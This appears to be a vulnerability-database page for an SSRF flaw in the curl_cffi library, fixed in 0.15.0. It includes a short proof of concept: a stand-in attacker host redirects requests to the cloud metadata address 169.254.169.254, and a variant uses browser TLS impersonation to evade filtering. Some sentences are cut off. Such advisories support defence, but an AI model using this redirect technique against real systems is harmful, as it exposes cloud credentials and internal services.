CVE-2026-33752High· 8.6▾ MidnightPoC availablecurl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 47.3 · likelihood 0.1 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Jul 13.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.5%
1 GitHub repo
curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.
Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.
The issue comes from how curl_cffi handles outbound requests
This means that even if an application only allows requests to external URLs, an attacker can
As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.
Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block
This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/
Victim code:
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)
Result
import curl_cffi\
resp = curl_cffi.get(
"https://attacker.example/test",
impersonate="chrome")
In some environments, this may help the request bypass TLS-based filtering controls.
An attacker who can control the requested URL may be able to:
curl-cffi < 0.15.0Upgrade to a patched release:
curl-cffi 0.15.0Field changes observed since this record was first indexed.